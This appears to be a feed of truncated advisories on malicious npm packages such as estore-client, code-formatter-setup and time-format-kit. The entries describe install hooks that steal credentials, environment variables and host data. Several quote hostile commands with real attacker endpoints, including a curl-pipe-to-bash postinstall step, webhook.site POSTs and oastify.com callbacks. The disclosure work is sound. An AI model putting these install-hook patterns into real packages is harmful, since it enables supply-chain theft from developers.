Malicious code in ggk-happy (npm)

Source: amazon-inspector d747cc7acd8bbc1defbf475aa3202fd332fd43135a6fedddfcc37356ce02eb54 Package presents itself as the legitimate slopus/happy CLI README instructs npm install -g happy; homepage, repository, bugs, and author fields all point at happy.engineering / github.com/slopus/happy, but t...

Malicious code in estore-client (npm)

Source: amazon-inspector 6f5f2a664c7576b3cbf04696ddff717d8b3e9b835693035fa56a23035edef411 package.json declares a preinstall lifecycle script that runs wget against https://webhook.site/d32804ac-1bbb-4100-ab60-95231dd3251c/, sending the installer's OS username $whoami, current working directory...

Malicious code in antsrcsrctest (npm)

The npm package antsrcsrctest masquerades as a "simple date formatting utility" index.js exports a harmless formatDate function that is never referenced by the malicious code but is a credential-harvesting and cloud-metadata-stealing reconnaissance tool. It declares a preinstall: node preinstall....

Malicious code in @web3-helpers/core (npm)

Source: amazon-inspector 9d5230cf08adcdf1d9108129f5c80e569b74774b7f2cb5e55aeb60be8d737225 At npm install time the preinstall script dist/index.min.js reads installer-owned secrets — /.ssh/idrsa, /.env, /.env.local, /.wallet.json — and iterates process.env for keys matching PRIVATE, MNEMONIC, and...

Malicious code in eslintcmd (npm)

Source: amazon-inspector 2cf4500fbbfc85f42275772210ace6efb69c5f90d9d0a5edd7c0c75fa271f0c3 The package's postinstall script scripts/install-check.cjs fetches a JSON config from https://slimopump.vercel.app/config/clob-math.json, downloads the.tgz referenced by that config, extracts it into a.peer/...

Malicious code in time-format-kit (npm)

Source: amazon-inspector 168d334d742003cf94d8b87ba56cd72694081ade01f6814062e58ebdc47d8594 On npm install, the package's postinstall script decodes base64-encoded shell payloads and executes them via an obfuscated childprocess.exec lookup require'ch'+'il'+'dp'+'rocess''e'+'xec'. The shell payload...

Malicious code in ls-env-config (npm)

Source: amazon-inspector db44619df34ccbffa5747f17c8135602583a781ec01f8d3c03e0f828157e944c Package declares a preinstall script node./index.js that fires automatically on npm install. The executed index.js issues an HTTP GET to a Burp-Collaborator-style subdomain at...

Malicious code in ac-raf-emitter (npm)

Source: amazon-inspector 4a9d9e454c08fdafa531ee74a3bc52513d5bc39413810db4a6371494872984f8 package.json declares a preinstall lifecycle script that runs curl -X POST against a hardcoded webhook.site collector URL https://webhook.site/54919426-084d-4288-8f80-e36ae5c76e32, passing the installer's...

Malicious code in @debile/require-dir (npm)

Source: amazon-inspector 3075732c05c8b941b57fed9e8fe9c788b28f9ff6fe9ef91936d1802f568c594e Package @debile/require-dir republishes the code of the well-known require-dir package under a different scope. Its package.json preinstall script runs bash -c 'if 1 == 2 ; then curl...

Malicious code in syncgrove (npm)

Source: amazon-inspector 6c96b3528ab792944d243b00ae61facc33740850b5cb2ed19671fd6732e43494 The package's postinstall lifecycle script contacts a hardcoded plain-HTTP endpoint at http://player.sweeprovider.org, retrieves a key via /getKey.php and an AES-CBC encrypted payload via...

Malicious code in code-formatter-setup (npm)

Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'", fetching an unpinned, unverified shell script from...

Malicious code in infrastructure-common (npm)

Source: amazon-inspector d64169ae87d8d9eaad199be028a70610f025f61e0c947838c05c24a1dd4d5578 package.json declares a preinstall lifecycle script that runs node -e to issue an HTTP GET to a Burp Collaborator subdomain at w635fyvrqkfmh9wc9uw8444cp3vujl7a.oastify.com when npm install runs. The callback...

Malicious code in hyperpure (npm)

Source: amazon-inspector 96c5552a039e4d845c30fae8f2c376eed21309d6b5298193850594fe4b1854d0 On npm install, the preinstall lifecycle script in package.json runs curl to POST the installer's hostname hostname -f, current user whoami, working directory pwd, and a base64-encoded dump of the entire...

Malicious code in library-explorer (npm)

Source: amazon-inspector 28b5db05b3bdfb9cc8b1af9759f05a3bc7a1b6a9c364b86831b93df78e9e2273 package.json declares preinstall: node index.js. On npm install, index.js collects installer host identity os.hostname, os.platform, os.arch, os.homedir, os.userInfo username/uid/gid/shell, CPU/memory and...

Malicious code in @public-for-cdao/abi (npm)

Source: amazon-inspector 102277e30b4f56dba5ebfb6a6a0ba076163907bfd28b2055b7fe6870261071f6 The package installs a postinstall script recon.js that runs automatically on npm install. The script enumerates a hardcoded list of installer environment variables including AWSSECRETACCESSKEY, CIJOBTOKEN,...

Malicious code in @public-for-cdao/config (npm)

Source: amazon-inspector 8a893631e8d2b076ee2c69cfd1126c435c70c02ecb912ef1e6ae383d7f34d78d The package ships a postinstall script recon.js that runs at npm install time. It collects host identifiers hostname, platform, arch, username, cwd, enumerates roughly 30 sensitive environment variables...

Malicious code in electron-internal-utils (npm)

Source: amazon-inspector e07ff16a8f4a44a8ccfc2f6f2a91eee6dbd3d1de9f1c4d6ca95e0e48999202ef On npm install, package.json's postinstall script executes curl http://9ph8dp.ceye.io, an out-of-band DNS/HTTP interaction service controlled by the package author. The callback signals the attacker that the...

Malicious code in @public-for-cdao/api (npm)

Source: amazon-inspector 4d844c4af5615aa5e7eb8470e79d2e95b841e91a8a23df81bafdb56f656b0111 @public-for-cdao/[email protected] is a high-version public squat of a presumed private @cdao/api scope index.js exports name '@cdao/api'; package description 'CryptoDAO api module - internal use'. package.json...

Malicious code in @uwr/colors (npm)

Source: amazon-inspector 91240d8fb55b7ed4730a41f3a334c633bf1a03afb649fd473cad0c0a25312847 The package's postinstall script reads the installer's machine hostname via os.hostname and performs a DNS lookup of .0ab1mctv5xigbskwtfusp77dj4pvdx1m.oastify.com, leaking the hostname to a Burp Suite...

Malicious code in crosswalker (npm)

Source: amazon-inspector b352c9c53fc71d511dae5d0fd8acc4462286092822d70e37dd413593f12bf0d3 package.json declares preinstall: node index.js, causing index.js to run automatically on npm install. The script collects hostname, platform, arch, homedir, username, uid/gid, shell, OS info, cwd, and the...